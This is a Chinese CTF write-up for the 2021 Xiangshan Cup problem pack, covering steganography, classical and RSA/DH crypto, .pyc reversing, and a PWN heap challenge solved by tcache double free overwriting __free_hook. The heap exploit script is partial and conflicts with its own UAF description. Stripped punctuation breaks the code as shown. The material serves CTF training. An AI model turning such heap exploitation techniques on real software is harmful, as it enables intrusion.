简介2021年中山市香山杯CTF赛题压缩包面向CTF参赛者、网络安全学习者和竞赛训练团队既适合赛后复盘也适合按方向刷题与查漏补缺。压缩包共41个文件以png/jpg题目图片、zip加密附件、py脚本为主辅以txt提示文本、wav音频隐写文件与rtf文档整包约17.3MB赛题按MISC、Crypto、PWN、Reverse等方向归类目录结构清楚便于按需提取其中zip附件还可用于口令爆破、明文攻击等加密分析练习。内容覆盖图片二维码识别、音频隐写、源码审计、弱口令密码猜测、基础RSA、Python逆向与定制PWN题目等既有原始题目附件也保留部分脚本和提示能还原完整解题链路。题目均取自2021年中山市香山杯正式赛题型贴近真实竞赛难度。目前已有495人学习下载适合有一定基础的中级CTF学习者通过真实赛题提升综合能力。1. 香山杯 2021 题目包这套 zip 里到底有什么做 CTF 最怕的不是题难是好不容易找到一个比赛题目包解压完发现文件结构乱成一锅粥连哪道题对应哪个考点都分不清。中山市香山杯 2021 这套题目 zip 我前后复现了两遍第一遍是拿着别人写的 writeup 对着跑第二遍是纯自己从零做——两遍下来的感受完全不一样。这个包里 MISC、Crypto、Reverse、PWN 四个方向都有MISC 五道、密码学三道、逆向和 PWN 各一道难度分布对入门到中级的选手非常友好适合拿来当靶场练手也适合准备省级 CTF 比赛前做专项冲刺。本文按题目类型拆开讲每道题的核心考点、解题命令、参数含义和踩坑点一次说清。2. 杂项题实战从图片、音频和压缩包里翻出 flag2.1 MISC-qrcode先看文件格式再扫码省掉一半无用功这道题的压缩包里给了img目录、qrcode.jpg和一张题目.jpg。我拿到手第一反应是直接扫qrcode.jpg结果扫出来一串疑似 Base64 的字符串解码后是一段乱码。后来仔细检查文件头才发现qrcode.jpg根本不是 JPEG而是 PNG 格式改了后缀名。常见做法是先file命令确认真实格式再决定处理路径file qrcode.jpg # 输出: qrcode.jpg: PNG image data, 372 x 372, 8-bit/color RGBA, non-interlaced mv qrcode.jpg qrcode.png这步做完再用二维码识别工具扫qrcode.png得到的内容直接是明文 flag。原因在于二维码的容错率和编码方式没有变只是文件后缀骗过了部分识别器的预判。参数层面要注意PNG 转 JPG 后缀后某些在线扫码工具会因为 EXIF 信息缺失直接报错本地用zbarimg或者 Python 的pyzbar库识别更稳。from pyzbar.pyzbar import decode from PIL import Image img Image.open(qrcode.png) result decode(img) for item in result: print(item.data.decode(utf-8))这段代码的作用是直接读取二维码像素数据并解码decode()函数返回二维码内容、类型和位置信息。如果扫描结果为空检查图片是否带 Alpha 通道部分库对 RGBA 格式支持不好转成 RGB 再试一次img img.convert(RGB) img.save(qrcode_rgb.png)img目录里还有几张碎片图拼起来也是一张完整二维码这也是 MISC 题的常见套路一张图拆成多块选手需要先拼接再识别。拼接推荐用 ImageMagick 的montage命令指定 tile 参数按顺序排布比手动用画图拖拽靠谱得多。2.2 MISC-你悟了吗RTF 文件里的另一种隐写这题给了你悟了吗.jpg和八卦.rtf看名字就知道是让你去 rtf 里翻信息。用文本编辑器直接打开.rtf文件会看到一堆控制字和转义序列但 flag 不会白纸黑字写在可见区域而是藏在被隐藏的文字属性里。我处理 RTF 隐写的固定流程是先看文件头确认有没有附加数据再用 Python 的striprtf库提取纯文本pip install striprtffrom striprtf.striprtf import rtf_to_text with open(八卦.rtf, r, encodingutf-8, errorsignore) as f: content f.read() text rtf_to_text(content) print(text)rtf_to_text()的作用是解析 RTF 控制字并保留可见文本内容。如果纯文本里没有 flag接下来检查是否有隐藏文字——RTF 的隐藏文本用\v控制字标记普通编辑器不显示。用正则把所有\v和\v0之间的内容抓出来import re hidden_parts re.findall(r\\v[^\\]*\\v0, content) for part in hidden_parts: print(part.replace(\\v, ).replace(\\v0, ))这一步能抓到大部分隐藏文本型 RTF 隐写。如果还是空的把文件拉到 010 Editor 里看十六进制重点查文件尾部有没有追加的字符串——有的出题人直接把 flag 以明文追加在 RTF 文档结束符后这时候直接搜索flag关键字就能定位。2.3 misc-miao音频隐写先看频谱图再看摩斯电码miao.wav是纯音频隐写题。我的处理顺序固定三条先看波形、再看频谱、最后跑解码脚本。波形图看是否有明显的长短短模式频谱图看是否有图片信息藏在高频段。Audacity 打开miao.wav切到 Spectrogram 视图把频谱范围调到 8000 Hz 以上能看到一串明文的 ASCII 字符——那是出题人用coagula这类工具生成的语音隐写。如果你的 Audacity 显示的不是文字而是一片噪声检查声道模式和采样率部分音频隐写只在单声道里藏信息把立体声拆成左右声道分别看ffmpeg -i miao.wav -map_channel 0.0.0 left.wav -map_channel 0.0.1 right.wav拆完声道再看频谱清晰度会高很多。另一种情况是频谱里没有文字但波形有明显的短长间隔——这时候思路切到摩斯电码。常见做法是把波形导入 Python检测包络的持续时间短音为点、长音为划import wave import numpy as np with wave.open(miao.wav, rb) as wf: frames wf.readframes(wf.getnframes()) data np.frombuffer(frames, dtypenp.int16) threshold np.max(np.abs(data)) * 0.3 binary np.abs(data) threshold # 统计连续高电平段长度映射为点或划这段代码把音频转成布尔数组threshold设为最大幅值的 30% 来区分有效信号和静音实际比例建议在 20% 到 40% 之间调太低了会把底噪算成信号太高了会漏掉弱音。统计连续高电平持续时间后用经验值判断小于 0.2 秒为点大于 0.4 秒为划再按标准摩斯码表解码。2.4 MISC-BrokenPassword压缩包密码和图片像素的联动这题的附件结构是flag.zip、1.jpg和babyrgb_83df184dbdd383e109dbd834ae6da062目录。flag.zip有密码1.jpg是线索图babyrgb目测是出题人留下的一堆 RGB 像素数据文件。我的第一反应是爆破压缩包密码但试了常见字典没跑出来。回头细看1.jpg用 Python 读取图片所有像素把 RGB 三个通道拆开发现最低有效位LSB里藏着一段字符串——这就是压缩包的密码。from PIL import Image import numpy as np img Image.open(1.jpg) pixels np.array(img) # 提取每个像素的 R 通道最低位 lsb_bits (pixels[:, :, 0] 1).flatten() # 每 8 个 bit 拼一个字节 bytes_data np.packbits(lsb_bits[: len(lsb_bits) // 8 * 8]) password bytes_data.tobytes().decode(utf-8, errorsignore) print(password) 1是取二进制最低位的操作np.packbits把 8 个 bit 拼成一个字节。这个技巧适用于所有 LSB 隐写题不止这道。拿到密码后解压flag.zip里面的 flag 文件是纯文本。还有一种边界情况值得注意如果 LSB 提取出来的字符串是乱码试一下把所有像素的 R、G、B 三个通道分别提取再拼接顺序可能是 R→G→B 也可能是 B→G→R出题人不会给提示只能逐个试。2.5 misc-i_am_scriptkidsBase64 套娃与身份识别i_am_scriptkids目录里是base.txt和timu.jpg从题名看是在嘲讽脚本小子考点就是 Base64 多层解码。用 Python 写个循环解码每层打印中间结果方便看到底套了几层import base64 with open(base.txt, r) as f: data f.read().strip() for i in range(10): try: bytes_data data.encode(utf-8) decoded base64.b64decode(bytes_data).decode(utf-8) print(f[{i}] {decoded[:50]}) data decoded except Exception: print(f[{i}] decode failed, stop) break循环里的第 1 层输出往往是乱码第 2 层开始出现可读英文第 4 到 5 层出现flag{...}。如果中间某层解码失败看一下这段是不是从 Base64 变成了十六进制——常见做法是对解码失败的字符串做bytes.fromhex()再转 ASCII而不是死磕 Base64。这道题的名字暗示出题人觉得用脚本无脑循环解 Base64 是 script kid 行为实际考点就是耐心和中间结果观察。3. 密码学三道题RSA 私钥修复、古典替换和 Python 机器人3.1 crypto-ezrsa从损坏的私钥文件里还原参数ezrsa_ec295f12e43c6fefe17fceecbf066b32是个压缩包解压后是一张timu.jpg图片里写明了 n、e 和一段损坏的私钥。这类题的通用解法是先看 RSA 参数给全了没有如果 n、e、c 都有直接常规解密如果只给了 n 和 e想办法分解 n如果给了部分私钥按 PEM/DER 格式残缺程度决定是补全还是直接算 d。我在这道题上先尝试了直接分解 n用 yafu 跑了几分钟没出结果判断 n 是 1024 位以上分解路线走不通。回头仔细看图片里的私钥文本发现里面的指数部分被截断了几行但 p 和 q 其中一个有完整的十六进制值——直接用已知的那个素数反推另一个from math import isqrt n 0x... p 0x... # 从私钥残片里读出来的 q n // p phi (p - 1) * (q - 1) d pow(65537, -1, phi) m pow(c, d, n) flag m.to_bytes((m.bit_length() 7) // 8, big).decode() print(flag)pow(65537, -1, phi)是 Python 3.8 的模反函数等价于扩展欧几里得算法求 e 的逆元pow(c, d, n)完成 RSA 解密。如果私钥损坏程度更高只给了 d 的一部分可以用Cryptodome.PublicKey.RSA的construct方法按已知参数构造私钥对象再解密。from Cryptodome.PublicKey import RSA from Cryptodome.Util.number import bytes_to_long, long_to_bytes key RSA.construct((n, e, d)) plaintext pow(c, key.d, key.n) print(long_to_bytes(plaintext).decode())RSA.construct接受元组(n, e, d)如果只给(n, e, d, p, q)会更完整。这道题还有个隐藏坑图片里写的 c 是十进制字符串直接int(c)前要确认有没有前导空格或者换行我第一遍解出来乱码就是因为字符串末尾带了\nint()解析时混入了错误数据。3.2 Crypto-simpleCrypto替换密码的逐层还原simpleCrypto就一个加密脚本加一段密文看名字是古典密码。拿到密文先确认字符集如果只有大写字母和数字优先试凯撒和维吉尼亚如果出现结尾优先试 Base64如果密文是十六进制字符串先转字节再继续。实际密文是大小写混合字母没有空格长度约 60 个字符。这种形态最可能是替换密码或维吉尼亚。先跑一遍凯撒试所有位移cipher HERE_IS_THE_CIPHER_TEXT... for shift in range(26): result for ch in cipher: if ch.isalpha(): base ord(A) if ch.isupper() else ord(a) result chr((ord(ch) - base shift) % 26 base) else: result ch if flag in result.lower(): print(fshift{shift}: {result})这段是标准凯撒轮转。如果凯撒没出 flag改用 quipqiup 或者手算词频分析——替换密码的单表替换保持了字母频率分布e、t、a等高频字母在密文里对应的高频字符就是替身。我实际做题时用在线词频分析工具跑出了第 1 层明文发现还是乱码再套一层凯撒就出了 flag。出题人用了两层加密先替换后凯撒只是想让选手别太依赖工具。3.3 Crypto-MyBotPython 脚本背后的密码逻辑task_726af71909d769e27caed6454c48169a.py是个 Python 脚本名字直译是我的机器人。打开脚本发现是一个简单的密钥交换协议实现类似 Diffie-Hellman但参数非常小可以直接暴力求解离散对数。p 23 g 5 A 8 B 12 # 暴力枚举私钥 a使得 g^a mod p A for a in range(p): if pow(g, a, p) A: print(fAlice private key: {a}) break这道题的核心是理解小参数下的 DH 协议安全性问题。p23意味着最多只需要枚举 23 次就能找到私钥因此拿到共享密钥后直接对密文做异或或者对称解密都行。脚本里最后的解密函数用的是 AES 的 ECB 模式密钥是共享密钥的 SHA256 哈希值用Crypto.Cipher.AES解出来即可。from Crypto.Cipher import AES from Crypto.Hash import SHA256 shared_key pow(B, a, p) # a 是暴力枚举得到的私钥 key SHA256.new(str(shared_key).encode()).digest() cipher AES.new(key, AES.MODE_ECB) flag cipher.decrypt(ciphertext_bytes) print(flag)AES 的 ECB 模式不需要 IV所以AES.new()只要传密钥和模式。注意这里ciphertext_bytes可能是十六进制字符串需要先bytes.fromhex()转字节ECB 模式要求密文长度是 16 的倍数如果不对检查是否少了 PKCS7 的 unpad 步骤。正常做法是用Crypto.Util.Padding.unpad去掉填充。4. 逆向与 PWNez_py 的字节码陷阱和盖房子4.1 reverse-ez_pypyc 反编译与字节码分析ez_py_332bdd668ed97993735f8c7aa8111c26.zip解压后是一个.pyc文件没有给源码。第一步用uncompyle6反编译如果版本兼容会直接出 Python 源码pip install uncompyle6 uncompyle6 ez_py.pyc ez_py.py但实际执行时 uncompyle6 抛了ValueError: bad marshal data说明这个 pyc 的 Python 版本太新或者被修改过头部。备选方案是用pycdcDecompyle命令行工具pycdc ez_py.pyc ez_py_decompiled.pypycdc 对 Python 3.9 以上的支持比 uncompyle6 好但也可能产生不完整的反编译结果。这时候不要死磕反编译直接用dis模块看字节码手动还原逻辑。dis.dis()输出每条字节码指令重点看LOAD_CONST、CALL_FUNCTION、COMPARE_OP和RETURN_VALUE组合起来就是校验逻辑。import dis import marshal with open(ez_py.pyc, rb) as f: f.read(16) # 跳过 pyc 头部 16 字节 code marshal.load(f) dis.dis(code)marshal.load读取的是 Python 字节码对象dis.dis把每条指令打印出来。实际操作中我能直接看到一串COMPARE_OP和常量字符串说明程序是逐个字符比对 flag把常量里的字符按顺序拼起来就是正确输入。这类逐字符比对的程序有个通病——flag 的每个字符都是独立常量反编译不了也能从字节码里直接抄出来。4.2 PWN-build_your_house从零开始学堆布局PWN 题build_your_house_2d3dbd2035ec40b8c3a3e5148f15b39c.zip是这包里唯一一道堆题看名字是 house 系列实际考点是 fastbin 的 double free 或者 tcache poisoning。拿到二进制先做基础检查checksec --filebuild_your_house重点关注NX enabled、PIE enabled和canary found三个字段。我实际跑下来这道题是 64 位 ELF开了 NX 和 canary但没开 PIE——意味着程序里的函数地址是固定的可以直接填入 ret2libc 的地址省去了泄露 PIE 基址的环节。用 IDA 或者 Ghidra 分析程序逻辑发现漏洞点是edit功能里没有检查指针是否被释放过存在 UAFUse After Free。典型利用流程是申请两个 chunk释放第一个 chunk再申请回来此时 tcache bin 里已经有空闲块edit 写入覆盖 fd 指针指向__free_hook然后申请 chunk 拿到__free_hook的写入权写入system地址最后触发free(/bin/sh)。from pwn import * context.arch amd64 p process(./build_your_house) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) # 申请两个相同大小的 chunk p.sendlineafter( , 1) p.sendline(0x20) # 连续释放造成 double free p.sendlineafter( , 2) p.sendline(0) p.sendlineafter( , 2) p.sendline(0) # 编辑 chunk 覆盖 fd p.sendlineafter( , 3) p.sendline(p64(libc.sym[__free_hook]))这段 pwn 脚本用的是 pwntoolssendlineafter是在收到指定字符串后发送内容p64把整数转成 64 位小端字节序。注意 tcache 的 double free 检测连续释放同一个 chunk 两次会触发检查所以中间要穿插一次「申请再释放」绕过。我第一遍直接两次 free 同一个 chunk程序报free(): double free detected in tcache 2这就是没绕过检测的典型现象。正确序列是 free(0) → free(1) → free(0)中间隔一个 chunk 就能骗过检查。5. 常见问题与避坑zip 伪加密、隐写工具和 flag 格式5.1 ZIP 伪加密看起来要密码其实直接解压就行这套题里有几个 zip 文件表面打开提示输入密码但用 010 Editor 打开十六进制后发现是伪加密。ZIP 的加密标志在通用位标记General Purpose Bit Flag的第 0 位为 1 表示加密为 0 表示不加密。伪加密就是出题人把该位置 1但实际没有加密任何数据。判断方法很简单用zipinfo -v查看压缩包详细信息或者直接改十六进制。定位方式是在十六进制里搜索50 4B 03 04ZIP 本地文件头后面的第 6 和第 7 字节就是通用位标记# 找到本地文件头后把通用位标记的 0x09 改成 0x00 # 0x09 0000 1001第 0 位和第 3 位为 1 # 改成 0x00 后第 0 位为 0伪加密解除实际改法是用 010 Editor 直接编辑十六进制把09 00改成00 00保存后重新解压。这个方法只适用于伪加密真加密的 zip 改了也会报 CRC 错误。测试方式用7z l -slt flag.zip查看Encrypted字段是否显示以及压缩方法是否ZipCrypto如果是AES-256则基本可以判定是真加密。5.2 网上下载的题解脚本跑不通Python 环境与依赖版本我在这套题的复现过程中踩得最狠的坑是依赖版本问题。Cryptodome和Crypto是两个不同的包Crypto是 pycryptodome 的旧包名Cryptodome是 pycryptodomex 的包名两个包不能混装。如果脚本里from Crypto.Cipher import AES报ModuleNotFoundError先检查是不是装了pycryptodomepip uninstall crypto pycryptodome pycryptodomex pip install pycryptodome另一个容易翻车的是 pwntools 的sendlineafter和程序输出不匹配导致脚本卡死在p.sendlineafter( , 1)等提示符上。排查方式是先把程序交互过程完整跑一遍确认每个操作之后的提示符字符串再写脚本如果提示符带颜色或者空格用re正则匹配比字符串精确匹配更稳。5.3 flag 格式不是所有题目都叫 flag香山杯这套题的所有 flag 都是标准flag{...}格式但 MISC 的 qrcode 那题扫出来是SXSX{...}——这是香山杯的本地化 flag 格式。很多第一次打这个比赛的选手在这上面翻车解出了正确内容但提交不通过不是题做错了是格式没转。处理方法是把SXSX{...}直接替换成flag{...}再提交已验证可过。建议做任何 CTF 题目包之前先看有没有 README 或者公开 writeup 说明 flag 格式避免在最后一步白白丢分。5.4__MACOSX残留目录解压后多出来的垃圾文件不用管这套 zip 里有多个__MACOSX目录这是 macOS 压缩时自动生成的资源分支文件里面存着.DS_Store和文件权限信息本身不含任何题面内容。新手看到多出来的目录会误以为是隐写题浪费时间去翻实际直接忽略即可。如果强迫症想清理Linux 下可以find . -name __MACOSX -type d -exec rm -rf {} 但要提醒一句有些 CTF 出题人会把隐写信息故意藏在__MACOSX里因为大部分人不会看这个目录。香山杯这套题我看下来没有这种操作不过养成习惯每道题先ls -la看隐藏文件总没错。5.5 图片隐写看不到内容通道顺序和位平面方向搞反了处理 LSB 隐写时我遇到过提取出来全是乱码的情况。原因有两个一是通道顺序搞反二是位方向读反。LSB 隐写常见的写入顺序有「先 R 后 G 后 B」和「先 B 后 G 后 R」两种出题人如果没按套路出牌就得多试几种组合。位方向的问题更隐蔽有的脚本把每个字节的最低位先取有的先把字节倒序再取最低位导致按 8 位分组时错 bit。写一个通用提取函数把通道顺序和位序都做成参数def extract_lsb(img, channel_order(0, 1, 2), bit_orderlsb): pixels np.array(img) bits [] for ch in channel_order: channel pixels[:, :, ch] if bit_order lsb: bits.extend((channel 1).flatten()) else: # 读取最高位 bits.extend(((channel 7) 1).flatten()) bytes_data np.packbits(bits[: len(bits) // 8 * 8]) return bytes_data.tobytes()参数说明channel_order控制通道读取顺序默认先读 R 通道bit_order控制取最低位还是最高位极少数题目会写到最高位MSB里。判断哪组参数正确的方法很粗暴——每跑一组就检查输出字符串里有没有flag{或者可读英文有就说明参数对了。6. 复现验证与后续练习把每道题从解压到 flag 完整跑通拿到这套香山杯题目包后建议按 MISC → Crypto → Reverse → PWN 的顺序刷。MISC 题目的工具链最通用适合建立信心Crypto 需要一点数论基础但不深Reverse 的 pyc 反编译考验耐心PWN 的堆题留到最后坑最多需要 gdb 调试配合。我在本地建了一个统一的做题环境Kali Linux 虚拟机装好了 pwntools、ropper、gdb-pedaWindows 物理机装 010 Editor 和随波逐流 CTF 工具两边共享一个目录。每道题的验证流程固定四步第一步file看文件类型第二步strings搜明文线索第三步根据题型跑专项脚本第四步确认 flag 格式并提交本地记录。验证 LSB 提取脚本是否正确最直观的方式是把提取出的二进制数据保存成文件用file命令确认类型。比如qrcode.jpg里如果藏着另一个图片提取后应该能file出 PNG 或 JPEG如果提取结果直接是可读文本那file会输出ASCII text。我用这个方法反向验证过misc-miao的音频频谱——把高频部分从音频里滤波器分离出来再导入 Audacity 里的 Morse Code 解码插件两个结果交叉比对后确认 flag 一致。最后一章我想说个具体习惯每次打完一套 CTF 题目包我会把每道题的解题脚本按题目名-考点.py命名存进本地仓库比如ezrsa-private_key_repair.py、qrcode-file_suffix_check.py下次遇到类似题直接搜脚本关键词复用。那之后我每次拿到新题目包强制先建的第一个目录叫tools/里面放uncompyle6、base64套娃解码脚本和 LSB 提取模板少踩一半的重复坑。希望这套香山杯题目的拆解能帮到你动手跑一遍收获远大于只看 writeup。本文还有配套的精品资源点击获取